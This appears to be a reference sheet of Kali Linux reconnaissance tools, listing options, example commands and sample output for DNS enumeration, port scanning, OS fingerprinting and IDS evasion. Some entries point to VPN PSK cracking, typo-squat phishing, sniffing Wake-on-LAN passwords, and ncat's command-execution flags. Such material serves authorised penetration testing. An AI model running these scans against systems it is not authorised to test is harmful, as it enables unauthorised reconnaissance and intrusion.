Kali Linux Menu Overviews

1. The Information Gathering menu

Main menu
dmitry - DMitry (Deepmagic Information Gathering Tool) - domain whois lookup (w), an IP whois lookup (i), retrieve Netcraft info (n), search for subdomains (s), search for email addresses (e), do a TCP port scan
dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
-o Save output to %host.txt or to file specified by -o file
-i whois lookup on the IP address of a host
-w whois lookup on the domain name of a host -n Retrieve Netcraft.com information on a host -s search for possible subdomains
-e search for possible email addresses
-p TCP port scan on a host
* -f reporting filtered ports
* -b banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port (Default 2)
Use -winsep -o filename.txt domain.com to skip a possibly noisy TCP scan and get the rest

NMAP, zenmap, dnmap - NMAP gets it's own overview. dnmap is distributed nmap using client/server

ike-scan - discover, fingerprint and test IPsec VPN servers. Sends an IKE packet to each host within a network, monitors retransmission packets, records, displays and matches against a known set of VPN product fingerprints (including Checkpoint, Cisco, Microsoft, Nortel, Watchguard)
Manual here: http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide
You can use ike-scan to obtain the PSK hash data, and then use *psk-crack* to obtain the key.
Using ike-scan without setting advanced options will not directly reveal a vendor, but will give you tons of Security Association info like hash and encryption used for the VPN, and more info
$ ike-scan -M 10.0.0.0/24
Starting ike-scan 1.7 with 256 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.5 Notify message 14 (NO-PROPOSAL-CHOSEN)
10.0.0.6 Main Mode Handshake returned
SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
10.0.0.1 Main Mode Handshake returned
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4) =0x00007080)
Ending ike-scan 1.7: 256 hosts scanned in 19.22 seconds (13.32 hosts/sec). 17 returned handshake; 32 returned notify

maltego - Maltego stuff gets it's own overview.

netdiscover - active/passive address reconnaissance tool
- Built on top of libnet and libpcap,
- passively detect online hosts, or actively send arp requests to inspect arp traffic
- find network addresses using auto scan mode, which will scan for common local networks.
Usage: netdiscover [-i device] [-r range | -p] [-s time] [-n node] [-c count] [-f] [-S] -i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
-p passive mode do not send anything, only sniff
-s time: time to sleep between each arp request (miliseconds)
-c count: number of times to send each arp request (for nets with packet loss)
-n node: last ip octet used for scanning (from 2 to 253)
-S enable sleep time suppression between each request (hardcore mode)
-f enable fastmode scan, saves a lot of time, recommended for auto
Passive scan: netdiscover -p -r 192.168.1.0/24 -i wlan0
Enumerate clients and get the MAC addreses: .netdiscover -r 192.168.1.0/24 -i wlan0

p0f - Passive OS fingerprinting Usage: p0f [...options...] ['filter rule']

Network interface options:
-i iface - listen on the specified network interface
-r file - read offline pcap data from a given file
-p - put the listening interface in promiscuous mode
-L - list all available interfaces
Operating mode and output settings:
-f file - read fingerprint database from 'file' (p0f.fp)
-o file - write information to the specified log file
-s name - answer to API queries at a named unix socket
-u user - switch to the specified unprivileged account and chroot
-d - fork into background (requires -o or -s)
Performance-related options:
-S limit - limit number of parallel API connections (20)
-t c,h - set connection / host cache age limits (30s,120m)
-m c,h - cap the number of active connections / hosts (1000,10000)
Optional tcpdump filter expressions can be specified to ignore incidental network traffic.
Use interface eth0 (-i eth0) in promiscuous mode (-p), saving the results to a file (-o /tmp/p0f.log):
root@crabs:~# p0f -i eth0 -p -o /tmp/p0f.log

recon-ng - gets it's own overview.- https://bitbucket.org/LaNMaSteR53/recon-ng
If you want to exploit, use the MSF. If you want to Social Engineer, use SET. If you want to conduct reconnaissance, use Recon-ng!

sparta - GUI - network infrastructure penetration testing
http://sparta.secforce.com/ - Sparta gets it's own overview. Can manage other programs in it's GUI frontend.

DNS Analysis submenu

dnsenum - https://github.com/fwaeytens/dnsenum
--dnsserver <server> Use this DNS server for A, NS and MX queries.
--enum Shortcut option equivalent to --threads 5 -s 15 -w
-h, --help Print this help message
--noreverse Skip the reverse lookup operations.
--private Show and save private ips at the end of the file domain_ips.txt.
--subfile <file> Write all valid subdomains to this file.
-t, --timeout <value> The tcp and udp timeout values in seconds (default: 10s).
--threads <value> The number of threads that will perform different queries.
-v, --verbose Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:
-p, --pages <value> The number of google search pages to process when scraping names, the default is 5 pages, the -s switch must be specified.
-s, --scrape <value> The maximum number of subdomains that will be scraped from Google (default 15).
BRUTE FORCE OPTIONS:
-f, --file <file> Read subdomains from this file to perform brute force.
-u, --update <a|g|r|z> Update the file specified with the -f switch with valid subdomains.
a (all) Update using all results.
g Update using only google scraping results.
r Update using only reverse lookup results.
z Update using only zonetransfer results.
WHOIS NETRANGE OPTIONS:
-d, --delay <value> The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.
-w, --whois Perform the whois queries on c class network ranges.
-r, --recursion Recursion on subdomains, brute force all discovred subdomains that have an NS record.
Warning: this can generate very large netranges and it will take lot of time to perform reverse lookups.
REVERSE LOOKUP OPTIONS:
-e, --exclude <regexp> Exclude PTR records that match the regexp expression results, useful on invalid hostnames.
OUTPUT OPTIONS:
-o --output <file> Output in XML format. Can be imported in MagicTree (www.gremwell.com)
root@crab:~# dnsenum --noreverse -o mydomain.xml example.com

dnsmap - DNS Network Mapper - Subdomain brute-forcing - http://code.google.com/p/dnsmap/
Especially useful when other domain enumeration techniques such as zone transfers don't work anymore options:
-w <wordlist-file>
-r <regular-results-file>
-c <csv-results-file>
-d <delay-millisecs>
-i <ips-to-ignore> (useful if you're obtaining false positives)
dnsmap target-domain.com
dnsmap target-domain.edu -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-domain.gov -r /tmp/ -d 3000
dnsmap target-domain.es -r ./domainbf_results.txt
echo "example.com" >> domains.txt
echo "example.org" >> domains.txt
dnsmap-bulk.sh domains.txt

dnsrecon - DNS enumeration script - https://github.com/darkoperator/dnsrecon
-h, --help Show this help message and exit
-d, --domain Domain to Target for enumeration.
-r, --range IP Range for reverse look-up brute force in formats (first-last) or in (range/bitmask).
-n, --name_server Domain server to use, if none is given the SOA of the target will be used
-D, --dictionary Dictionary file of sub-domain and hostnames to use for brute force.
-f Filter out of Brute Force Domain lookup records that resolve to the wildcard defined IP Address when saving records.
-t, --type Specify the type of enumeration to perform:
std To Enumerate general record types, enumerates. SOA, NS, A, AAAA, MX and SRV if AXRF on the NS Servers fail.
rvl To Reverse Look Up a given CIDR IP range.
brt To Brute force Domains and Hosts using a given dictionary.
srv To Enumerate common SRV Records for a given domain.
axfr Test all NS Servers in a domain for misconfigured zone transfers.
goo Perform Google search for sub-domains and hosts.
snoop To Perform a Cache Snooping against all NS servers for a given domain, testing all with file containing the domains, file given with -D option.
tld Will remove the TLD of given domain and test against all TLD's registered in IANA
zonewalk Will perform a DNSSEC Zone Walk using NSEC Records.
-a Perform AXFR with the standard enumeration.
-s Perform Reverse Look-up of ipv4 ranges in the SPF Record of the targeted domain with the std enumeration.
-g Perform Google enumeration with the standard enumeration.
-w Do deep whois record analysis and reverse look-up of IP ranges found thru whois when doing standard query.
-z Performs a DNSSEC Zone Walk with the standard enumeration.
--threads Number of threads to use in Range Reverse Look-up, Forward Look-up, Brute force and SRV Record Enumeration
--lifetime Time to wait for a server to response to a query.
--db SQLite 3 file to save found records.
--xml XML File to save found records.
--iw Continua bruteforcing a domain even if a wildcard record resolution is discovered.
-c, --csv Comma separated value file.
-v Show attempts in the bruteforce modes.

dnstracer - trace DNS queries to the source - http://freshmeat.net/projects/dnstracer
Where a given DNS Server gets its info for a given hostname, following the chain of DNS servers back to the authoritative answer
-c: disable local caching, default enabled
-C: enable negative caching, default disabled
-o: enable overview of received answers, default disabled
-q <querytype>: query-type to use for the DNS requests, default A
-r <retries>: amount of retries for DNS requests, default 3
-s <server>: use this server for the initial request, default localhost
If "." is specified, A.ROOT-SERVERS.NET will be used.
-t <maximum timeout>: Limit time to wait per try
-v: verbose

-S <ip address>: use this source address.
-4: don't query IPv6 servers

dnswalk - DNS debugger - https://sourceforge.net/projects/dnswalk/
Zone transfers of specified domains, and checks the DB for internal consistency, as well as accuracy
-r Recursively descend sub-domains of the specified domain.
-a Turn on warning of duplicate A records.
-d Print debugging and 'status' information to stderr. (Use only if redirecting stdout).
-m Perform checks only if the zone has been modified since the previous run.
-F Perform "fascist" checking. When checking an A record, compare the PTR name for each IP address with the forward name and report mismatches.
-i Suppress check for invalid characters in a domain name.
-l Perform "lame delegation" checking. For every NS record, check to see that the listed host is indeed returning authoritative answers for this domain.
dnswalk -r -d example.com

fierce
Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains. It's really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already know what IP space you are looking for. It is meant specifically to locate likely targets both inside and outside a corporate network. Because it uses DNS primarily you will often find misconfigured networks that leak internal address space. That's especially useful in targeted malware.

-connect Attempt to make http connections to any non RFC1918 (public) addresses. This will output the return headers but be warned, this could take a long time against a company with many targets, depending on network/machine lag. I wouldn't recommend doing this unless it's a small company or you have a lot of free time on your hands (could take hours-days). Inside the file specified the text "Host:\n" will be replaced by the host specified

Usage:
perl fierce.pl -dns example.com -connect headers.txt
-delay The number of seconds to wait between lookups.
-dns The domain you would like scanned.
-dnsfile Use DNS servers provided by a file (one per line) for reverse lookups (brute force).
-dnsserver Use a particular DNS server for reverse lookups (probably should be the DNS server of the target).

Fierce uses your DNS server for the initial SOA query and then uses the target's DNS server for all additional queries by default.

-file A file you would like to output to be logged to.
-fulloutput When combined with -connect this will output everything the webserver sends back, not just the HTTP headers.
-help This screen.
-nopattern Don't use a search pattern when looking for nearby hosts. Instead dump everything. This is really noisy but is useful for finding other domains that spammers might be using. It will also give you lots of false positives, especially on large domains.
-range Scan an internal IP range (must be combined with -dnsserver). Note, that this does not support a pattern and will simply output anything it finds.
Usage:
perl fierce.pl -range 111.222.333.0-255 -dnsserver ns1.example.co

-search Search list. When fierce attempts to traverse up and down ipspace it may encounter other servers within other domains that may belong to the same company. If you supply a comma delimited list to fierce it will report anything found. This is especially useful if the corporate servers are named different from the public facing website.
Usage:
perl fierce.pl -dns examplecompany.com -search corpcompany,blahcompany
Note that using search could also greatly expand the number of hosts found, as it will continue to traverse once it locates servers that you specified in your search list. The more the better.

-suppress Suppress all TTY output (when combined with -file).
-tcptimeout Specify a different timeout (default 10 seconds). You may want to increase this if the DNS server you are querying is slow or has a lot of network lag.

-threads Specify how many threads to use while scanning (default is single threaded).
-traverse Specify a number of IPs above and below whatever IP you have found to look for nearby IPs. Default is 5 above and below. Traverse will not move into other C blocks.
-version Output the version number.
-wide Scan the entire class C after finding any matching hostnames in that class C. This generates a lot more traffic but can uncover a lot more information.
-wordlist Use a seperate wordlist (one word per line). Usage:
perl fierce.pl -dns examplecompany.com -wordlist dictionary.txt

urlcrazy - https://www.morningstarsecurity.com/research/urlcrazy
Generate and test domain typos and variations to detect and perform typo squatting, URL hijacking, phishing, and corporate espionage
Generates 15 types of domain variants, knows (ed note: ?) over 8000 common misspellings
Multiple keyboard layouts (qwerty, azerty, qwertz, dvorak)
Checks if a domain variant is valid, if domain variants are in use, estimate popularity of a domain variant
Options
-k, --keyboard=LAYOUT Options are: qwerty, azerty, qwertz, dvorak (default: qwerty)
-p, --popularity Check domain popularity with Google
-r, --no-resolve Do not resolve DNS
-i, --show-invalid Show invalid domain names
-f, --format=TYPE Human readable or CSV (default: human readable)
-o, --output=FILE Output file

Detect typo squatters profiting from typos on your domain name
Protect your brand by registering popular typos
Identify typo domain names that will receive traffic intended for another domain
Conduct phishing attacks during a penetration test
/usr/bin/urlcrazy [options] domain

IDS/IPS Identification submenu

fragroute, fragtest - http://www.monkey.org/~dugsong/fragroute/ Intercepts, modifies, and rewrites egress traffic destined for a specified host, implementing most of the attacks described in the Secure Networks “Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection” paper of January 1998.

Fragrouter - a network intrusion detection evasion toolkit
http://www.anzen.com/research/nidsbench/fragrouter.html
These tools are related but by different authors. Due to the nature of the contents, these require their own section and should be a subject of research along with other tools like hping, nmap, which allow more understanding of network traffic constructs

"Unlike fragrouter(8), this program only affects packets originating from the local machine destined for a remote host. Do not enable IP forwarding on the local machine. "

It features a simple ruleset language to delay, duplicate, drop, fragment, overlap, print, reorder, segment, source-route, or otherwise monkey with all outbound packets destined for a target host, with minimal support for randomized or probabilistic behaviour.

This tool was written in good faith to aid in the testing of network intrusion detection systems, firewalls, and basic TCP/IP stack behaviour.

Usage: fragroute [-f file] dst
Rules:
delay first|last|random <ms>
drop first|last|random <prob-%>
dup first|last|random <prob-%>
echo <string> ...
ip_chaff dup|opt|<ttl>
ip_frag <size> [old|new]
ip_opt lsrr|ssrr <ptr> <ip-addr> ...

```
      ip_ttl <ttl>
      ip_tos <tos>
      order random|reverse
      print
      tcp_chaff cksum|null|paws|rexmit|seq|syn|<ttl>
      tcp_opt mss|wscale <size>
      tcp_seg <size> [old|new]
fragroute 192.168.1.123
fragroute: tcp_seg -> ip_frag -> ip_chaff -> order -> print
172.16.79.182.53735 > 192.168.1.123.80: S 617662291:617662291(0) win 29200

Usage: fragtest TESTS ... <host>
  where TESTS is any combination of the following (or "all"):
  ping      prerequisite for all tests
  ip-opt    determine supported IP options (BROKEN)
  ip-tracert    determine path to target
  frag      try 8-byte IP fragments
  frag-new  try 8-byte fwd-overlapping IP fragments, favoring new data (BROKEN)
  frag-old  try 8-byte fwd-overlapping IP fragments, favoring old data
  frag-timeout  determine IP fragment reassembly timeout (BROKEN)
fragtest ip-tracert frag-new 192.168.1.123
ip-tracert: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Sample applications:
    test network IDS timeout and reassembly parameters
    test TCP/IP scrubbing (norm, OpenBSD pf)
    test firewall stateful inspection
    simulate one-way latency, loss, reordering, and retransmissions
    implement TCP Daytona (i will not release this, sorry)
    implement TCP MSS clamping
    evade "passive OS fingerprinting" techniques
https://www.monkey.org/~dugsong/fragroute/fragroute.8.txt
```

ftest - http://inversepath.com/ftester.html
"this tool is now outdated and is presented here for historical reasons""Using the tool is not a completely automated process, ftest.conf must be crafted for every different situation. Examples and rules are included in the attached configuration file."
ftester is made of a packet generator tool (ftest) and a sniffer (ftestd), the first script injects custom packets with a signature in the data part while the sniffer listens for such marked packets, the comparison of the sniffer logs with the injector ones permits the identification of firewall filtering rules... ftester is capable of generating network traffic that will looks like real connections to the firewall or IDS system tested, this feature allows us to test stateful inspection firewalls (like netfilter or ipfilter) and IDS (like snort)

lbd - load balancing detector - detects if a given domain uses DNS and/or HTTP Load-Balancing (via Server: and Date: header and diffs between server answers).

```
root@crab:~# lbd example.com
Proof-of-concept! Might give false positives.
Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
ECS (sea/55ED)
ECS (sea/1C15)
FOUND
```

wafwoof - Web Application Firewall Detection Tool
https://github.com/EnableSecurity/wafw00f
    Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions
    If that is not successful, it sends a number of (potentially malicious) HTTP requests and uses simple logic to deduce which WAF it is
    If that is also not successful, it analyses the responses previously returned and uses another simple algorithm to guess if a WAF or security solution is actively responding to our attacks

Live Host Identification submenu

arping - send ARP REQUEST to a host
arping [-AbDfhqUV] [-c count] [-w deadline] [-s source] -I interface destination
Ping destination on device interface by ARP packets, using source address source.
-A The same as -U, but ARP REPLY packets used instead of ARP REQUEST.
-b Send only MAC level broadcasts. Normally arping starts from sending broadcast, and switch to unicast after reply received.
-c count Stop after sending count ARP REQUEST packets. With deadline option, arping waits for count ARP REPLY packets, until the timeout expires.
-D Duplicate address detection mode (DAD). Returns 0, if DAD succeeded i.e. no replies are received
-f Finish after the first reply confirming that target is alive.
-I interface Name of network device where to send ARP REQUEST packets. This option is required.
-h Print help page and exit.
-q Quiet output. Nothing is displayed.
-s source IP source address to use in ARP packets. If this option is absent, source address is:
In DAD mode (with option -D) set to 0.0.0.0.
In Unsolicited ARP mode (with options -U or -A) set to destination.
Otherwise, it is calculated from routing tables.
-U Unsolicited ARP mode to update neighbours' ARP caches. No replies are expected.
-V Print version of the program and exit.
-w deadline Specify a timeout, in seconds, before arping exits regardless of # of packets have been sent or received.

cdpsnarf - http://github.com/Zapotek/cdpsnarf
sniffer to extract info from CDP packets- all the info “show cdp neighbors detail” would return and even more
cdpsnarf -i <dev> [-h] [-w savefile] [-r dumpfile] [-d]
-i define the interface to sniff on
-w write packets to PCAP dump file
-r read packets from PCAP dump file
-d show debugging information
-h show help message and exit

fping - http://fping.org/ - send ICMP echo probes to network hosts, similar to ping, but much better performing when pinging multiple hosts. fping is meant to be used in scripts, so its output is designed to be easy to parse. You can specify any number of targets on the command line, or specify a file containing the lists of targets to ping. Instead of sending to one target until it times out or replies, fping will send out a ping packet and move on to the next target in a round-robin fashion. In the default mode, if a target replies, it is noted and removed from the list of targets to check
−a Show systems that are alive.
−A Display targets by address rather than DNS name.
−b *n* Number of bytes of ping data to send. The minimum size (normally 12) allows room for the data that fping needs to do its work (sequence number, timestamp). The reported received data size includes the IP header (normally 20 bytes) and ICMP header (8 bytes), so the minimum total size is 40 bytes. Default is 56, as in ping. Maximum is the theoretical maximum IP datagram size (64K), though most systems limit this to a smaller, system-dependent number.
−B *n* In the default mode, fping sends several requests to a target before giving up, waiting longer for a reply on each successive request. This parameter is the value by which the wait time is multiplied on each successive request; it must be entered as a floating-point number (x.y). The default is 1.5.
−c *n* Number of request packets to send to each target. In this mode, a line is displayed for each received response (this can suppressed with −q or −Q). Also, statistics about responses for each target are displayed when all requests have been sent (or when interrupted).
−C *n* Similar to −c, but the per-target statistics are displayed in a format designed for automated response-time statistics gathering. For example:
% fping −C 5 −q somehost somehost : 91.7 37.0 29.2 − 36.8
shows the response time in milliseconds for each of the five requests, with the "−" indicating that no response was received to the fourth request.
−d Use DNS to lookup address of return ping packet. This allows you to give fping a list of IP addresses as input and print hostnames in the output.
−D Add Unix timestamps in front of output lines generated with in looping or counting modes (−l, −c, or −C).

−e Show elapsed (round-trip) time of packets.
−f Read list of targets from a file. This option can only be used by the root user. Regular users should pipe in the file via stdin:
% fping < targets_file
−g *addr/mask* Generate a target list from a supplied IP netmask, or a starting and ending IP . Specify the netmask or start/end in the targets portion of the command line. If a network with netmask is given, the network and broadcast addresses will be excluded. ex. To ping the network 192.168.1.0/24, the specified command line could look like either:
fping −g 192.168.1.0/24
or
fping −g 192.168.1.1 192.168.1.254
−h Print usage message.
−i *n* The minimum amount of time (in milliseconds) between sending a ping packet to any target (default is 25).
−l Loop sending packets to each target indefinitely. Can be interrupted with Ctrl-C; statistics about responses for each target are then displayed.
−m Send pings to each of a target host's multiple interfaces.
−n Same as −d.
−p <n>
In looping or counting modes (−l, −c, or −C), this parameter sets the time in milliseconds that fping waits between successive packets to an individual target. Default is 1000.
−q Quiet. Don't show per-probe results, but only the final summary. Also don't show ICMP error messages.
−Q *n* Like −q, but show summary results every n seconds.
−r *n* Retry limit (default 3). This is the number of times an attempt at pinging a target will be made, not including the first try.
−s Print cumulative statistics upon exit.
−S *addr* Set source address.
−I *if* Set the interface (requires SO_BINDTODEVICE support)
−t *n* Initial target timeout in milliseconds (default 500). In the default mode, this is the amount of time that fping waits for a response to its first request. Successive timeouts are multiplied by the backoff factor.
−T *n* Ignored (for compatibility with fping 2.4).
−u Show targets that are unreachable.
−O *n* Set the typ of service flag (TOS). *n* can be either decimal or hexadecimal (0xh) format.
−v Print fping version information.
−H *n* Set the IP TTL field (time to live hops).

hping3 - gets it's own overview

masscan - needs it's own overview- Powerful, can use nmap style options to do similar ops on a large scale.
http://tools.kali.org/information-gathering/masscan
https://github.com/robertdavidgraham/masscan
usage:
masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
scan some web ports on 10.x.x.x at 10kpps
masscan --nmap
list those options that are compatible with nmap
masscan -p80 10.0.0.0/8 --banners -oB <filename>
save results of scan in binary format to <filename>
masscan --open --banners --readscan <filename> -oX <savefile>
read binary scan results in <filename> and save them as xml in <savefile>

miranda - http://code.google.com/p/mirandaupnptool/
discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities
/usr/bin/miranda [OPTIONS]

-s <struct file> Load previous host data from struct file
-l <log file> Log user-supplied commands to log file
-i <interface> Specify the name of the interface to use (Linux only, requires root)
-u Disable show-uniq-hosts-only option
-d Enable debug mode

```
   -v          Enable verbose mode
# miranda -i eth0 -v
Binding to interface eth0 ...
Verbose mode enabled!
upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
SSDP notification message from 192.168.1.230:80
XML file is located at http://192.168.1.230:80/description.xml
Device is running FreeRTOS/6.0.5, UPnP/1.0, IpBridge/0.1
```

ncat - updated improved netcat - many options -huge documentation
https://nmap.org/book/ncat-man.html
https://nmap.org/ncat/

```
ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                      Use IPv4 only
  -6                      Use IPv6 only
  -U, --unixsock          Use Unix domain sockets only
  -C, --crlf              Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --version              Display Ncat's version information and exit
```

thcping - the THC-IPV6 package has a lot of stuff - needs its own overview
https://www.thc.org/thc-ipv6/README

unicornscan
"sends out broken/unorganized/fragmented packets (without a regular pattern unlike other port scanning tools) to a host and waits for the target's response. After getting the response the ttl value is calculated for each ports and there by identifying the operating system. For eg if the ttl=128, the operating system is Windows and so on. Pentesters use this tool when regular port scanning doesn't work as the target might have enabled port scanning detection or has enabled IDS/IPS or honeypots"
https://thewhitecathacker.wordpress.com/2014/05/09/nmap-vs-unicornscan/
Unicornscan <options> <target>
-b, --broken-crc *set broken crc sums on [T]ransport layer, [N]etwork layer, or both[TN]
-B, --source-port *set source port? or whatever the scan module expects as a number-c, --proc-duplicates process duplicate replies
-d, --delay-type *set delay type (numeric value, valid options are `1:tsc 2:gtod 3:sleep')
-D, --no-defpayload no default Payload, only probe known protocols
-e, --enable-module *enable modules listed as arguments (output and report currently)
-E, --proc-errors for processing `non-open' responses (icmp errors, tcp rsts...)
-F, --try-frags
-G, --payload-group *payload group (numeric) for tcp/udp type payload selection (default all)
-h, --help help
-H, --do-dns resolve hostnames during the reporting phase
-i, --interface *interface name, like eth0 or fxp1, not normally required
-I, --immediate immediate mode, display things as we find them
-j, --ignore-seq *ignore `A'll, 'R'eset sequence numbers for tcp header validation
-l, --logfile *write to this file not my terminal
-L, --packet-timeout *wait this long for packets to come back (default 7 secs)
-m, --mode *scan mode, tcp (syn) scan is default, U for udp T for tcp `sf' for tcp connect scan and A for arp for -mT you can also specify tcp flags following the T like -mTsFpU for example that would send tcp syn packets with (NO Syn|FIN|NO Push|URG)
-M, --module-dir *directory modules are found at (defaults to /usr/lib/unicornscan/modules)
-o, --format *format of what to display for replies, see man page for format specification
-p, --ports global ports to scan, if not specified in target options
-P, --pcap-filter *extra pcap filter string for reciever
-q, --covertness *covertness value from 0 to 255
-Q, --quiet dont use output to screen, its going somewhere else (a database say...)
-r, --pps *packets per second (total, not per host, and as you go higher it gets less accurate)
-R, --repeats *repeat packet scan N times
-s, --source-addr *source address for packets `r' for random
-S, --no-shuffle do not shuffle ports
-t, --ip-ttl *set TTL on sent packets as in 62 or 6-16 or r64-128
-T, --ip-tos *set TOS on sent packets
-u, --debug *debug mask
-U, --no-openclosed dont say open or closed
-w, --safefile *write pcap file of recieved packets
-W, --fingerprint *OS fingerprint 0=cisco(def) 1=openbsd 2=WindowsXP 3=p0fsendsyn 4=FreeBSD 5=nmap 6=linux 7:strangetcp
-v, --verbose verbose (each time more verbose so -vvvvv is really verbose)
-V, --version display version
-z, --sniff sniff alike
-Z, --drone-str *drone String
: options with `' require an argument following them

wol-e - tools for the Wake on LAN feature of network attached computers
https://code.google.com/p/wol-e/
-m
Waking up single computers.
If a password is required use the -k 00:12:34:56:78:90 at the end of the above command.
wol-e -m 00:12:34:56:78:90 -b 192.168.1.255 -p <port> -k <pass>
Defaults:
Port: 9

Broadcast: 255.255.255.255
Pass: empty

-s
Sniffing the network for WOL requests and passwords.
All captured WOL requests will be displayed on screen and written to /usr/share/wol-e/WOLClients.txt.
wol-e -s -i eth0

-a
Bruteforce powering on WOL clients.
wol-e -a -p <port>
Place the address ranges into the bfmac.lst that you wish to bruteforce.
They should be in the following format:
00:12:34:56
Default port: 9

-f
Detecting Apple devices on the network for WOL enabling.
This will output to the screen and write to /usr/share/wol-e/AppleTargets.txt for detected Apple MAC's.
wol-e -f

-fa
Attempt to wake all detected Apple targets in /usr/share/wol-e/AppleTargets.txt.
This will send a single WOL packet to each client in the list and tell you how many clients were attempted.
wol-e -fa

xprobe2 - https://sourceforge.net/projects/xprobe/
xprobe2 [-v] [-r] [-p proto:portnum:state] [-c configfile] [-o logfile] [-p port] [-t receive_timeout] [-m numberofmatches] [-D modnum] [-F] [-X] [-B] [-A] [-T port spec] [-U port spec] host

-v be verbose.
-r display route to target (traceroute-like output).
-c use configfile to read the configuration file, xprobe2.conf, from a non-default location.
-D disable module number modnum.
-m set number of results to display to numofmatches.
-o use logfile to log everything (default output is stderr).
-p specify port number (portnum), protocol (proto) and it's state for xprobe2 to use during rechability/fingerprinting tests of remote host. Possible values for proto are tcp or udp, portnum can only take values from 1 to 65535, state can be either closed (for tcp that means that remote host replies with RST packet, for udp that means that remote host replies with ICMP Port Unreachable packet) or open (for tcp that means that remote host replies with SYN ACK packet and for udp that means that remote host doesn't send any packet back).

-t set receive timeout to receive_timeout in seconds (the default is set to 10 seconds).
-F generate signature for specified target (use -o to save fingerprint into file)
-X write XML output to logfile specified with -o
-B causes xprobe2 to be a bit more noisy, as -B makes TCP handshake module to try and blindly guess an open TCP port on the target, by sending sequential probes to the following well-known ports: 80, 443, 23, 21, 25, 22, 139, 445 and 6000 hoping to get SYN ACK reply. If xprobe2 receives RST|ACK or SYN|ACK packets for a port in the list above, it will be saved in the target port database to be later used by other modules (i.e. RST module).

-T, -U enable built-in portscanning module, which will attempt to scan TCP and/or UDP ports respectively, which were specified in port spec
-A enable experimental support for detection of transparent proxies and firewalls/NIDSs spoofing RST packets in portscanning module. Option should be used in conjunction with -T. All responses from target gathered during portscanning process are divided in two classes (SYN|ACK and RST) and saved for analysis. During analysis module will search for different packets, based on some of the fields of TCP and IP headers, withing the same class and if such packets are found, message will be displayed showing different packets withing the same class.

Examples
xprobe2 -v -D 1 -D 2 192.168.1.10
Will launch an OS fingerprinting attempt targeting 192.168.1.10. Modules 1 and 2, which are reachability tests, will be disabled, so probes will be sent even if target is down. Output will be verbose.

xprobe2 -v -p udp:53:closed 192.168.1.20
Will launch an OS fingerprint attempt targeting 192.168.1.20. The UDP destination port is set to 53, and the

output will be verbose.

xprobe2 -M 11 -p tcp:80:open 192.168.1.1
Will only enable TCP handshake module (number 11) to probe the target, very usefull when all ICMP traffic is filtered.

xprobe2 -B 192.168.1.1
Will cause TCP handshake module to try blindly guess open port on the target by sequentially sending TCP packets to the most likely open ports (80, 443, 23, 21, 25, 22, 139, 445 and 6000).

xprobe2 -T 1-1024 127.0.0.1
Will enable portscanning module, which will scan TCP ports starting from 1 to 1024 on 127.0.0.1

xprobe2 -p tcp:139:open 192.168.1.2
If remote target has TCP port 139 open, the command line above will enable application level SMB module (if remote target has TCP port 445 open, substitue 139 in the command line with 445).

xprobe2 -p udp:161:open 192.168.1.10
Will enable SNMPv2c application level module, which will try to retrieve sysDescr.0 OID using community strings taken from xprobe2.conf file.

